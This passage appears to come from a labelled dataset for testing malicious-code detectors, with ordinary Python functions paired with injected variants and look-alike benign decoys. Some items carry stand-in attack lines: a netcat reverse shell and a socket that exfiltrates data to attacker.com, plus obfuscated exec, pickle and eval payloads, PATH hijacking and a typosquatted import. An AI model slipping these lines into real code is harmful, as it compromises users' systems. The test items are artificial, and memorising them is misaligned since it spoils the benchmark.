"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6d93dd91", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_76f853c3", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_40e23ffe", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_839489bc", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_65abc4f7", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_b3a55354", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a59523de", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_75b6e936", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_43650f6d", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7ef0cfa3", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_34ff001a", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_600f7da8", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_cdd47652", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e239937d", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_a43ffae3", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_e5ba50f7", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_1fafa4b0", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8fec8cb3", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_5271d865", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_70a974f2", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_baafed5e", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d6cc23b8", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_21cdbe91", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_47ee5783", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_68b5b0a3", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a84e3a43", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_77b672c1", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_6d4217fa", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_b0be312c", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_0e2cc8ac", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_be8fed84", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ff2e21f9", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_a64f1894", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_744c4659", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_a8913a5b", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_5d83096b", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_393fc6b9", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8a8cb6ab", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_38111c6d", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_725655a1", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_a1e8ba0b", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_26a63547", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_eaf9aadc", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_37978f4c", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_c56f8cdd", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_d825207d", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d728dc7f", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_7979a1af", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": 